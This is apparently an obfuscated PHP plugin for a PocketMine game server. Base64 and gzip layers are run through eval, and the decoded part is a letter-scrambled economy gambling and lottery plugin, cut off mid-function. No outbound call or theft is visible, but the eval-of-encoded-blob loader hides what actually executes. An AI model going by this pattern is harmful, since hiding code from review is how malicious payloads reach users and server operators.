YflcyZzCftwiY93dknvRwvKddTinmQ2owu+yO6BT+skU/J+MuKr7UV5FqHgb/Pdy4o+fUAumKNdyavP66z2nq726jqoQi79zN/vA74b1foW34XXeuX3mUCspf8GmZJ5lcHm99Xvs/l03nI5zlxPz2Sj83AunP3+Xrx+83tsHK79nTJz9k6/D7xTpqSbwvV8uoQJ4+vPx+aF6vWF29/rVFlrcyRrDfs787b7cG3v5jp/p8EX1ATe0Z3/YI3gNlu7TNNfZm9/3/yYzidduJN4Po8GGJp3aR0YYifH6o1NdcaHqFzXPsciuE4YVGrQECOJruDdf+RtK1103hHfR+Xym/y+pL3uAeZvvnP/BXfp/6LZXZxdpbNQzEfErp3hNDa/SevgNJcsZjrz3IzN+S5VE99hR/Oz8zlY0tPBtT8z+5jNgqYmb6+eSz2KKWAN7AsuHEoLmUejdAH28PZToFNHXEX9sMLuDq1IXQPfIScuwOdv2Hu+PjE7WZpXrc7rqqV7LKUacbZXHYtfu/YQ58wgFx1wW7yLBThX8xU9zc6Xz1+D7o8RlypSJtuGO2GfkUknzOaFVfIuj26hR814Mc8RFhaxr637yb5p66xkXo9rv6MI2CRuuquDZ6/r2GMtf22aeW3PFzKZEdrWPvalHDJHVeWRNEmmileZR3uW7zf4vuvMD2FP45G8LxroHbwjS3rno9mfGM05QXGHrHrn4mKv8Z0522Jev9CXM918505MaY2ofY3Xa+wKZ/IOnoPvhCK9vXyevrFWkUw0l87WjIucuejPk1jXOP/zoTsI5ZjZ9r5p3bACLu/XA8bQW+7ut2K6hlmkq+YhIf404YeGPutV852X3g3QgE2unR392Hsf2uN206xXdnf4n//4v/8H')));eval(gzinflate(base64_decode('U4mPTykvcAtMTLdIirJNSixONTOJT0lNzk9J1VBBltO0RuHaFpcUlRShKtFRLw3LDA0o8jcsNPF1Ls6w8K509/JU11H39HKv9LbIKHb2NSk09C8KCM0MK1XXtE4tS8xBt6Q0rzi1BF0QAA==')));$__dwpFQag8bZ='DQogbmFtZTFwYWNlIEdmdGVhbVxFY29ub21VaWFtYmxlOyBJMWUgcG9ja2V0bUduZVxwbElnR25cS2xJZ0duQmExZTsgSTFlIHBvY2tldG1HbmVcZXZlbnRcTEcxdGVuZTg7IEkxZSBwb2NrZXRtR25lXEl0R2wxXHFvbmZHZzsgSTFlIHBvY2tldG1HbmVcbmV0d284a1xwOG90b2NvbFxBZGR1dGVtRW50R3RVS2Fja2V0OyBJMWUgcG9ja2V0bUduZVxuZXR3bzhrXHA4b3RvY29sXFJlbW92ZUVudEd0VUthY2tldDsgSTFlIHBvY2tldG1HbmVcbmV0d284a1xwOG90b2NvbFxBZGRFbnRHdFVLYWNrZXQ7IEkxZSBwb2NrZXRtR25lXGNvbW1hbmRcS2xJZ0ducW9tbWFuZDsgSTFlIHBvY2tldG1HbmVcSXRHbDFcVGV4dEZvOG1hdDsgSTFlIHBvY2tldG1HbmVcZXZlbnRcYmxvY2tcQmxvY2tCOGVha0V2ZW50OyBJMWUgcG9ja2V0bUduZVxldmVudFxwbGFVZThcS2xhVWU4UUlHdEV2ZW50OyBJMWUgcG9ja2V0bUduZVxldmVudFxwbGFVZThcS2xhVWU4dW50ZThhY3RFdmVudDsgSTFlIHBvY2tldG1HbmVcYmxvY2tcQmxvY2s7IEkxZSBwb2NrZXRtR25lXEd0ZW1cdXRlbTsgSTFlIHBvY2tldG1HbmVcY29tbWFuZFxxb21tYW5kU2VuZGU4OyBJMWUgcG9ja2V0bUduZVxjb21tYW5kXHFvbW1hbmQ7IEkxZSBwb2NrZXRtR25lXEtsYVVlODsgSTFlIHBvY2tldG1HbmVcZW50R3RVXEVudEd0VTsgSTFlIHBvY2tldG1HbmVcZXZlbnRccGxhVWU4XEtsYVVlOFZvR25FdmVudDsgSTFlIHBvY2tldG1HbmVcZXZlbnRcYmxvY2tcQmxvY2tLbGFjZUV2ZW50OyBJMWUgcG9ja2V0bUduZVxlbnRHdFVcdXRlbSBhMSB1dGVtRW50R3RVOyBjbGExMSBFY29ub21VaWFtYmxlIGV4dGVuZDEgS2xJZ0duQmExZSBHbXBsZW1lbnQxIExHMXRlbmU4IHsgcElibEdjICRtZTExYWdlMSwgJGRiOyBwSWJsR2MgJGxvdHRvLCAkcDhvYmFiR2xHdFU7IHBJYmxHYyAkZWNvbm9tVUFLdSA9IG5JbGw7IHBJYmxHYyAkbV92ZTgxR29uID0gMzsgcElibEdjICRwYWNrZXRRSWVJZSA9IFsgXTsgcElibEdjICRjOGVhdGVRSWVJZSA9IFsgXTsgcElibEdjICRwbGFjZVFJZUllID0gWyBdOyBwSWJsR2MgJGExa0FnYUduUUllSWUgPSBbIF07IHBJYmxHYyAkcGFja2V0ID0gWyBdOyBwSWJsR2MgZkluY3RHb24gb25FbmFibGUoKSB7IEBta2RHOCAoICR0T0cxLT5nZXREYXRhRm9sZGU4ICgpICk7ICR0T0cxLT5Hbkd0NGUxMWFnZSAoKTsgJHRPRzEtPmRiID0gKG5ldyBxb25mR2cgKCAkdE9HMS0+Z2V0RGF0YUZvbGRlOCAoKSAuICJpYW1ibGVEQi5VbWwiLCBxb25mR2c6OllBNEwsIFsgImFsbG93LWdhbWJsZSIgPT4gdDhJZSBdICkpLT5nZXRBbGwgKCk7IEdmICgkdE9HMS0+Z2V0U2U4dmU4ICgpLT5nZXRLbElnR240YW5hZ2U4ICgpLT5nZXRLbElnR24gKCAiRWNvbm9tVUFLdSIgKSAhPSBuSWxsKSB7ICR0T0cxLT5lY29ub21VQUt1ID0gXG9uZWJvbmVcZWNvbm9tVWFwR1xFY29ub21VQUt1OjpnZXR1bjF0YW5jZSAoKTsgfSBlbDFlIHsgJHRPRzEtPmdldExvZ2dlOCAoKS0+ZTg4bzggKCAkdE9HMS0+Z2V0ICggInRPZThlLWE4ZS1uby1lY29ub21VYXBHIiApICk7ICR0T0cxLT5nZXRTZTh2ZTggKCktPmdldEtsSWdHbjRhbmFnZTggKCktPmRHMWFibGVLbElnR24gKCAkdE9HMSApOyB9ICR0T0cxLT44ZWdHMXRlOHFvbW1hbmQgKCAkdE9HMS0+Z2V0ICggImNvbW1hbmQxLWdhbWJsZSIgKSwgJHRPRzEtPmdldCAoICJjb21tYW5kMS1nYW1ibGUiICksICJlY29ub21VZ2FtYmxlLmNvbW1hbmQxLmdhbWJsZSIsICR0T0cxLT5nZXQgKCAiY29tbWFuZDEtZ2FtYmxlLUkxYWdlIiApICk7ICR0T0cxLT5nZXRTZTh2ZTggKCktPmdldEtsSWdHbjRhbmFnZTggKCktPjhlZ0cxdGU4RXZlbnQxICggJHRPRzEsICR0T0cxICk7ICR0T0cxLT5wYWNrZXQgWyJBZGR1dGVtRW50R3RVS2Fja2V0Il0gPSBuZXcgQWRkdXRlbUVudEd0VUthY2tldCAoKTsgJHRPRzEtPnBhY2tldCBbIkFkZHV0ZW1FbnRHdFVLYWNrZXQiXS0+R3RlbSA9IHV0ZW06OmdldCAoIHV0ZW06OlNUaE5FICk7ICR0T0cxLT5wYWNrZXQgWyJSZW1vdmVFbnRHdFVLYWNrZXQiXSA9IG5ldyBSZW1vdmVFbnRHdFVLYWNrZXQgKCk7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXSA9IG5ldyBBZGRFbnRHdFVLYWNrZXQgKCk7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+ZUdkID0gMDsgJHRPRzEtPnBhY2tldCBbIkFkZEVudEd0VUthY2tldCJdLT50VXBlID0gdXRlbUVudEd0VTo6TkVUV2hSUF91RDsgJHRPRzEtPnBhY2tldCBbIkFkZEVudEd0VUthY2tldCJdLT54ID0gMDsgJHRPRzEtPnBhY2tldCBbIkFkZEVudEd0VUthY2tldCJdLT5VID0gMCArIHM7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+eiA9IDA7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+MXBlZWRYID0gMDsgJHRPRzEtPnBhY2tldCBbIkFkZEVudEd0VUthY2tldCJdLT4xcGVlZFkgPSAwOyAkdE9HMS0+cGFja2V0IFsiQWRkRW50R3RVS2Fja2V0Il0tPjFwZWVkWiA9IDA7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+VWF3ID0gMDsgJHRPRzEtPnBhY2tldCBbIkFkZEVudEd0VUthY2tldCJdLT5wR3RjTyA9IDA7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+R3RlbSA9IDA7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+bWV0YSA9IDA7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+bWV0YWRhdGEgPSBbIEVudEd0VTo6REFUQV9GTEFpUyA9PiBbIEVudEd0VTo6REFUQV9UWUtFX0JZVEUsIHMgPDwgRW50R3RVOjpEQVRBX0ZMQWlfdU5KdVN1QkxFIF0sIEVudEd0VTo6REFUQV9OQTRFVEFpID0+IFsgRW50R3RVOjpEQVRBX1RZS0VfU1RSdU5pLCAiIiBdLCBdOyAkdE9HMS0+Z2V0U2U4dmU4ICgpLT5nZXRTY09lZElsZTggKCktPjFjT2VkSWxlUmVwZWF0R25nVGExayAoIG5ldyBFY29ub21VaWFtYmxlVGExayAoICR0T0cxICksIDIwICk7IH0gcElibEdjIGZJbmN0R29uIG9uREcxYWJsZSgpIHsgJDFhdmUgPSBuZXcgcW9uZkdnICggJHRPRzEtPmdldERhdGFGb2xkZTggKCkgLiAiaWFtYmxlREIuVW1sIiwgcW9uZkdnOjpZQTRMICk7ICQxYXZlLT4xZXRBbGwgKCAkdE9HMS0+ZGIgKTsgJDFhdmUtPjFhdmUgKCk7ICQxYXZlID0gbmV3IHFvbmZHZyAoICR0T0cxLT5nZXREYXRhRm9sZGU4ICgpIC4gImxvdHRvLlVtbCIsIHFvbmZHZzo6WUE0TCApOyAkMWF2ZS0+MWV0QWxsICggJHRPRzEtPmxvdHRvICk7ICQxYXZlLT4xYXZlICgpOyB9IHBJYmxHYyBmSW5jdEdvbiBnZXQoJHZhOCkgeyA4ZXRJOG4gJHRPRzEtPm1lMTFhZ2UxIFskdE9HMS0+bWUxMWFnZTEgWyJkZWZhSWx0LWxhbmdJYWdlIl0gLiAiLSIgLiAkdmE4XTsgfSBwSWJsR2MgZkluY3RHb24gR25HdDRlMTFhZ2UoKSB7ICR0T0cxLT4xYXZlUmUxb0k4Y2UgKCAibWUxMWFnZTEuVW1sIiwgZmFsMWUgKTsgJHRPRzEtPm1lMTFhZ2UxeXBkYXRlICggIm1lMTFhZ2UxLlVtbCIgKTsgJHRPRzEtPm1lMTFhZ2UxID0gKG5ldyBxb25mR2cgKCAkdE9HMS0+Z2V0RGF0YUZvbGRlOCAoKSAuICJtZTExYWdlMS5VbWwiLCBxb25mR2c6OllBNEwgKSktPmdldEFsbCAoKTsgJHRPRzEtPjFhdmVSZTFvSThjZSAoICJsb3R0by5VbWwiLCBmYWwxZSApOyAkdE9HMS0+bG90dG8gPSAobmV3IHFvbmZHZyAoICR0T0cxLT5nZXREYXRhRm9sZGU4ICgpIC4gImxvdHRvLlVtbCIsIHFvbmZHZzo6WUE0TCApKS0+Z2V0QWxsICgpOyAkdE9HMS0+MWF2ZVJlMW9JOGNlICggInA4b2JhYkdsR3RVLlVtbCIsIGZhbDFlICk7ICR0T0cxLT5tZTExYWdlMXlwZGF0ZSAoICJwOG9iYWJHbEd0VS5VbWwiICk7ICR0T0cxLT5wOG9iYWJHbEd0VSA9IChuZXcgcW9uZkdnICggJHRPRzEtPmdldERhdGFGb2xkZTggKCkgLiAicDhvYmFiR2xHdFUuVW1sIiwgcW9uZkdnOjpZQTRMICkpLT5nZXRBbGwgKCk7IH0gcElibEdjIGZJbmN0R29uIG1lMTFhZ2UxeXBkYXRlKCR0YThnZXRZbWxOYW1lKSB7ICR0YThnZXRZbWwgPSAobmV3IHFvbmZHZyAoICR0T0cxLT5nZXREYXRhRm9sZGU4ICgpIC4gJHRhOGdldFltbE5hbWUsIHFvbmZHZzo6WUE0TCApKS0+Z2V0QWxsICgpOyBHZiAoISBHMTFldCAoICR0YThnZXRZbWwgWyJtX3ZlODFHb24iXSApKSB7ICR0T0cxLT4xYXZlUmUxb0k4Y2UgKCAkdGE4Z2V0WW1sTmFtZSwgdDhJZSApOyB9IGVsMWUgR2YgKCR0YThnZXRZbWwgWyJtX3ZlODFHb24iXSA8ICR0T0cxLT5tX3ZlODFHb24pIHsgJHRPRzEtPjFhdmVSZTFvSThjZSAoICR0YThnZXRZbWxOYW1lLCB0OEllICk7IH0gfSBwSWJsR2MgZkluY3RHb24gOGVnRzF0ZThxb21tYW5kKCRuYW1lLCAkZmFsbGJhY2ssICRwZThtRzExR29uLCAkZGUxYzhHcHRHb24gPSAiIiwgJEkxYWdlID0gIiIpIHsgJGNvbW1hbmQ0YXAgPSAkdE9HMS0+Z2V0U2U4dmU4ICgpLT5nZXRxb21tYW5kNGFwICgpOyAkY29tbWFuZCA9IG5ldyBLbElnR25xb21tYW5kICggJG5hbWUsICR0T0cxICk7ICRjb21tYW5kLT4xZXREZTFjOEdwdEdvbiAoICRkZTFjOEdwdEdvbiApOyAkY29tbWFuZC0+MWV0S2U4bUcxMUdvbiAoICRwZThtRzExR29uICk7ICRjb21tYW5kLT4xZXR5MWFnZSAoICRJMWFnZSApOyAkY29tbWFuZDRhcC0+OGVnRzF0ZTggKCAkZmFsbGJhY2ssICRjb21tYW5kICk7IH0gcElibEdjIGZJbmN0R29uIG1lMTFhZ2UoJHBsYVVlOCwgJHRleHQgPSAiIiwgJG1hOGsgPSBuSWxsKSB7IEdmICgkbWE4ayA9PSBuSWxsKSAkbWE4ayA9ICR0T0cxLT5nZXQgKCAiZGVmYUlsdC1wOGVmR3giICk7ICRwbGFVZTgtPjFlbmQ0ZTExYWdlICggVGV4dEZvOG1hdDo6REFSUF9BUXlBIC4gJG1hOGsgLiAiICIgLiAkdGV4dCApOyB9IHBJYmxHYyBmSW5jdEdvbiBhbGU4dCgkcGxhVWU4LCAkdGV4dCA9ICIiLCAkbWE4ayA9IG5JbGwpIHsgR2YgKCRtYThrID09IG5JbGwpICRtYThrID0gJHRPRzEtPmdldCAoICJkZWZhSWx0LXA4ZWZHeCIgKTsgJHBsYVVlOC0+MWVuZDRlMTFhZ2UgKCBUZXh0Rm84bWF0OjpSRUQgLiAkbWE4ayAuICIgIiAuICR0ZXh0ICk7IH0gcElibEdjIGZJbmN0R29uIG9uQjhlYWsoQmxvY2tCOGVha0V2ZW50ICRldmVudCkgeyAkYmxvY2sgPSAkZXZlbnQtPmdldEJsb2NrICgpOyAkcGxhVWU4ID0gJGV2ZW50LT5nZXRLbGFVZTggKCk7IEdmIChHMTFldCAoICR0T0cxLT5kYiBbIjFPb3dxYTFlIl0gWyJ7JGJsb2NrLT54fS57JGJsb2NrLT5VfS57JGJsb2NrLT56fSJdICkpIHsgR2YgKCEgJHBsYVVlOC0+T2ExS2U4bUcxMUdvbiAoICJlY29ub21VZ2FtYmxlLmNvbW1hbmQxLmdhbWJsZSIgKSkgeyAkdE9HMS0+YWxlOHQgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggImdhbWJsZS1jYW5ub3QtYjhlYWsiICkgKTsgJGV2ZW50LT4xZXRxYW5jZWxsZWQgKCk7IDhldEk4bjsgfSBJbjFldCAoICR0T0cxLT5kYiBbIjFPb3dxYTFlIl0gWyJ7JGJsb2NrLT54fS57JGJsb2NrLT5VfS57JGJsb2NrLT56fSJdICk7IEdmIChHMTFldCAoICR0T0cxLT5wYWNrZXRRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gWyJuYW1ldGFnIl0gWyJ7JGJsb2NrLT54fS57JGJsb2NrLT5VfS57JGJsb2NrLT56fSJdICkpIHsgJHRPRzEtPnBhY2tldCBbIlJlbW92ZUVudEd0VUthY2tldCJdLT5lR2QgPSAkdE9HMS0+cGFja2V0UUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldIFsibmFtZXRhZyJdIFsieyRibG9jay0+eH0ueyRibG9jay0+VX0ueyRibG9jay0+en0iXTsgJHBsYVVlOC0+ZGF0YUthY2tldCAoICR0T0cxLT5wYWNrZXQgWyJSZW1vdmVFbnRHdFVLYWNrZXQiXSApOyB9IEdmIChHMTFldCAoICR0T0cxLT5wYWNrZXRRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gWyJ7JGJsb2NrLT54fS57JGJsb2NrLT5VfS57JGJsb2NrLT56fSJdICkpIHsgJHRPRzEtPnBhY2tldCBbIlJlbW92ZUVudEd0VUthY2tldCJdLT5lR2QgPSAkdE9HMS0+cGFja2V0UUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldIFsieyRibG9jay0+eH0ueyRibG9jay0+VX0ueyRibG9jay0+en0iXTsgJHBsYVVlOC0+ZGF0YUthY2tldCAoICR0T0cxLT5wYWNrZXQgWyJSZW1vdmVFbnRHdFVLYWNrZXQiXSApOyBJbjFldCAoICR0T0cxLT5wYWNrZXRRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gWyJ7JGJsb2NrLT54fS57JGJsb2NrLT5VfS57JGJsb2NrLT56fSJdICk7IH0gJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggImdhbWJsZS1jb21wbGV0ZWxVLWRlMXQ4b1VlZCIgKSApOyB9IH0gcElibEdjIGZJbmN0R29uIG9uVG9JY08oS2xhVWU4dW50ZThhY3RFdmVudCAkZXZlbnQpIHsgJGJsb2NrID0gJGV2ZW50LT5nZXRCbG9jayAoKTsgJHBsYVVlOCA9ICRldmVudC0+Z2V0S2xhVWU4ICgpOyBHZiAoRzExZXQgKCAkdE9HMS0+ZGIgWyIxT293cWExZSJdIFsieyRibG9jay0+eH0ueyRibG9jay0+VX0ueyRibG9jay0+en0iXSApKSB7ICR0T0cxLT5wbGFjZVFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSA9IHQ4SWU7IEdmICghIEcxMWV0ICggJHRPRzEtPmExa0FnYUduUUllSWUgWzFwbF9vYmplY3RfT2ExTyAoICRldmVudC0+Z2V0S2xhVWU4ICgpICldICkpIHsgJHRPRzEtPmExa0FnYUduUUllSWUgWzFwbF9vYmplY3RfT2ExTyAoICRldmVudC0+Z2V0S2xhVWU4ICgpICldID0gInskYmxvY2stPnh9LnskYmxvY2stPlV9LnskYmxvY2stPnp9IjsgJHRPRzEtPm1lMTFhZ2UgKCAkZXZlbnQtPmdldEtsYVVlOCAoKSwgJHRPRzEtPmdldCAoICJBMWtBZ2FHbiIgKSAuICR0T0cxLT5lY29ub21VQUt1LT5tVTRvbmVVICggJHBsYVVlOCApIC4gIiAkIF0iICk7IDhldEk4bjsgfSBlbDFlIHsgR2YgKCR0T0cxLT5hMWtBZ2FHblFJZUllIFsxcGxfb2JqZWN0X09hMU8gKCAkZXZlbnQtPmdldEtsYVVlOCAoKSApXSAhPSAieyRibG9jay0+eH0ueyRibG9jay0+VX0ueyRibG9jay0+en0iKSB7ICR0T0cxLT5hMWtBZ2FHblFJZUllIFsxcGxfb2JqZWN0X09hMU8gKCAkZXZlbnQtPmdldEtsYVVlOCAoKSApXSA9ICJ7JGJsb2NrLT54fS57JGJsb2NrLT5VfS57JGJsb2NrLT56fSI7ICR0T0cxLT5tZTExYWdlICggJGV2ZW50LT5nZXRLbGFVZTggKCksICR0T0cxLT5nZXQgKCAiQTFrQWdhR24iICkgLiAkdE9HMS0+ZWNvbm9tVUFLdS0+bVU0b25lVSAoICRwbGFVZTggKSAuICIgJCBdIiApOyA4ZXRJOG47IH0gZWwxZSB7IEluMWV0ICggJHRPRzEtPmExa0FnYUduUUllSWUgWzFwbF9vYmplY3RfT2ExTyAoICRldmVudC0+Z2V0S2xhVWU4ICgpICldICk7IH0gfSAkZ2FtYmxlID0gJHRPRzEtPmRiIFsiMU9vd3FhMWUiXSBbInskYmxvY2stPnh9LnskYmxvY2stPlV9LnskYmxvY2stPnp9Il07IDF3R3RjTyAoJGdhbWJsZSkgeyBjYTFlICR0T0cxLT5nZXQgKCAiR3RlbWdhbWJsZSIgKSA6IEdmICgkZXZlbnQtPmdldHV0ZW0gKCktPmdldHVEICgpID09IDApIHsgJHRPRzEtPmFsZTh0ICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICJub0d0ZW0iICkgKTsgOGV0SThuOyB9ICQ4YW5kID0gbXRfOGFuZCAoIDAsICR0T0cxLT5nZXRLOG9iYWJHbEd0VSAoICJ1dGVtaWFtYmxlSzhvYmFiR2xHdFUiLCBzICkgKTsgR2YgKCQ4YW5kIDw9ICR0T0cxLT5nZXRLOG9iYWJHbEd0VSAoICJ1dGVtaWFtYmxlSzhvYmFiR2xHdFUiLCAwICkpIHsgJHBsYVVlOC0+Z2V0dW52ZW50bzhVICgpLT5hZGR1dGVtICggdXRlbTo6Z2V0ICggJGV2ZW50LT5nZXR1dGVtICgpLT5nZXR1RCAoKSwgJGV2ZW50LT5nZXR1dGVtICgpLT5nZXREYW1hZ2UgKCksIHMgKSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiU0ljY2UxMUd0ZW1pYW1ibGUiICkgKTsgfSBlbDFlIHsgJHBsYVVlOC0+Z2V0dW52ZW50bzhVICgpLT44ZW1vdmV1dGVtICggdXRlbTo6Z2V0ICggJGV2ZW50LT5nZXR1dGVtICgpLT5nZXR1RCAoKSwgJGV2ZW50LT5nZXR1dGVtICgpLT5nZXREYW1hZ2UgKCksIHMgKSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiRmFHbEd0ZW1pYW1ibGUiICkgKTsgfSBiOGVhazsgY2ExZSAkdE9HMS0+Z2V0ICggIjhhbmRvbWdhbWJsZSIgKSA6ICRtVW1vbmVVID0gJHRPRzEtPmVjb25vbVVBS3UtPm1VNG9uZVUgKCAkcGxhVWU4ICk7IEdmICgkbVVtb25lVSA9PSAwKSB7ICR0T0cxLT5tZTExYWdlICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICJMYWNraGZPNG9uZVUiICkgKTsgOGV0SThuOyB9ICRwYVUgPSBtdF84YW5kICggMCwgJG1VbW9uZVUgKTsgJDhhbmQgPSBtdF84YW5kICggMCwgJHRPRzEtPmdldEs4b2JhYkdsR3RVICggIlJhbmRvbWlhbWJsZUs4b2JhYkdsR3RVIiwgcyApICk7IEdmICgkOGFuZCA8PSAkdE9HMS0+Z2V0SzhvYmFiR2xHdFUgKCAiUmFuZG9taWFtYmxlSzhvYmFiR2xHdFUiLCAwICkpIHsgJHRPRzEtPmVjb25vbVVBS3UtPmFkZDRvbmVVICggJHBsYVVlOCwgJHBhVSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiU0ljY2UxMWlhbWJsZSIgKSAuICIgJCIgLiAkcGFVIC4gJHRPRzEtPmdldCAoICJTSWNjZTExaWFtYmxlLWEiICkgKTsgfSBlbDFlIHsgJHRPRzEtPmVjb25vbVVBS3UtPjhlZEljZTRvbmVVICggJHBsYVVlOCwgJHBhVSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiRmFHbGlhbWJsZSIgKSAuICIgJCIgLiAkcGFVIC4gJHRPRzEtPmdldCAoICJGYUdsaWFtYmxlLWEiICkgKTsgfSBiOGVhazsgY2ExZSAkdE9HMS0+Z2V0ICggImxvdHRlOFUiICkgOiAkbVVtb25lVSA9ICR0T0cxLT5lY29ub21VQUt1LT5tVTRvbmVVICggJHBsYVVlOCApOyBHZiAoJG1VbW9uZVUgPCAkdE9HMS0+cDhvYmFiR2xHdFUgWyJMb3R0ZThVSzhHY2UiXSkgeyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiTGFja2hmTzRvbmVVIiApICk7IDhldEk4bjsgfSAkbG90dG9fYyA9IDA7IEdmIChHMTFldCAoICR0T0cxLT5sb3R0byBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gKSkgeyAkZ2V0ID0gJHRPRzEtPmxvdHRvIFskcGxhVWU4LT5nZXROYW1lICgpXTsgJGxvdHRvX2MgPSAkZ2V0IFsiY29JbnQiXTsgfSBHZiAoJGxvdHRvX2MgPj0gMjUpIHsgJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggIlRvb21JY08tTG90dGU4VSIgKSApOyA4ZXRJOG47IH0gJHRPRzEtPmxvdHRvIFskcGxhVWU4LT5nZXROYW1lICgpXSA9IGE4OGFVICggImNvSW50IiA9PiArKyAkbG90dG9fYywgImRhVSIgPT4gZGF0ZSAoICJkIiApICk7ICR0T0cxLT5lY29ub21VQUt1LT44ZWRJY2U0b25lVSAoICRwbGFVZTgsICR0T0cxLT5nZXRLOG9iYWJHbEd0VSAoICJMb3R0ZThVSzhHY2UiLCAwICkgKTsgJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggIkxvdHRlOFVLYVVtZW50IiApIC4gJHRPRzEtPmxvdHRvIFskcGxhVWU4LT5nZXROYW1lICgpXSBbImNvSW50Il0gKTsgJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggIkxvdHRlOFVLYVVtZW50LWEiICkgKTsgYjhlYWs7IGRlZmFJbHQgOiBHZiAoRzFfbkltZThHYyAoICRnYW1ibGUgKSkgeyAkbW9uZVUgPSAkZ2FtYmxlOyAkbVVtb25lVSA9ICR0T0cxLT5lY29ub21VQUt1LT5tVTRvbmVVICggJHBsYVVlOCApOyBHZiAoJG1VbW9uZVUgPCAkbW9uZVUpIHsgJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggIkxhY2toZk80b25lVSIgKSApOyA4ZXRJOG47IH0gJDhhbmQgPSBtdF84YW5kICggMCwgJHRPRzEtPmdldEs4b2JhYkdsR3RVICggImlhbWJsZUs4b2JhYkdsR3RVIiwgcyApICk7IEdmICgkOGFuZCA8PSAkdE9HMS0+Z2V0SzhvYmFiR2xHdFUgKCAiaWFtYmxlSzhvYmFiR2xHdFUiLCAwICkpIHsgJHRPRzEtPmVjb25vbVVBS3UtPmFkZDRvbmVVICggJHBsYVVlOCwgJG1vbmVVICk7ICR0T0cxLT5tZTExYWdlICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICJTSWNjZTExaWFtYmxlIiApICk7IH0gZWwxZSB7ICR0T0cxLT5lY29ub21VQUt1LT44ZWRJY2U0b25lVSAoICRwbGFVZTgsICRtb25lVSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiRmFHbGlhbWJsZSIgKSApOyB9IH0gYjhlYWs7IH0gfSBHZiAoRzExZXQgKCAkdE9HMS0+YzhlYXRlUUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldICkpIHsgJGV2ZW50LT4xZXRxYW5jZWxsZWQgKCk7ICRwbzEgPSAkYmxvY2stPmdldFNHZGUgKCBzICk7ICRnYW1ibGUgPSAkdE9HMS0+YzhlYXRlUUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldOyAkdE9HMS0+ZGIgWyIxT293cWExZSJdIFsieyRwbzEtPnh9LnskcG8xLT5VfS57JHBvMS0+en0iXSA9ICRnYW1ibGU7ICRibG9jay0+Z2V0TGV2ZWwgKCktPjFldEJsb2NrICggJHBvMSwgQmxvY2s6OmdldCAoIHV0ZW06OmloTERfQkxocVAgKSwgdDhJZSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiZ2FtYmxlLWNvbXBsZXRlbFUtYzhlYXRlZCIgKSApOyBJbjFldCAoICR0T0cxLT5jOGVhdGVRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gKTsgfSB9IHBJYmxHYyBmSW5jdEdvbiBvbktsYWNlKEJsb2NrS2xhY2VFdmVudCAkZXZlbnQpIHsgR2YgKEcxMWV0ICggJHRPRzEtPnBsYWNlUUllSWUgWyRldmVudC0+Z2V0S2xhVWU4ICgpLT5nZXROYW1lICgpXSApKSB7ICRldmVudC0+MWV0cWFuY2VsbGVkICgpOyBJbjFldCAoICR0T0cxLT5wbGFjZVFJZUllIFskZXZlbnQtPmdldEtsYVVlOCAoKS0+Z2V0TmFtZSAoKV0gKTsgfSB9IHBJYmxHYyBmSW5jdEdvbiBvbnFvbW1hbmQocW9tbWFuZFNlbmRlOCAkcGxhVWU4LCBxb21tYW5kICRjb21tYW5kLCAkbGFiZWwsIEE4OGFVICRhOGcxKSB7IEdmICghICRwbGFVZTggR24xdGFuY2VvZiBLbGFVZTgpIHsgJHRPRzEtPmFsZTh0ICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICJvbmxVLUduLWdhbWUiICkgKTsgOGV0SThuIHQ4SWU7IH0gMXdHdGNPICgxdDh0b2xvd2U4ICggJGNvbW1hbmQtPmdldE5hbWUgKCkgKSkgeyBjYTFlICR0T0cxLT5nZXQgKCAiY29tbWFuZDEtZ2FtYmxlIiApIDogR2YgKCEgRzExZXQgKCAkYThnMSBbMF0gKSkgeyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiY29tbWFuZDEtZWctT2VscHMiICkgKTsg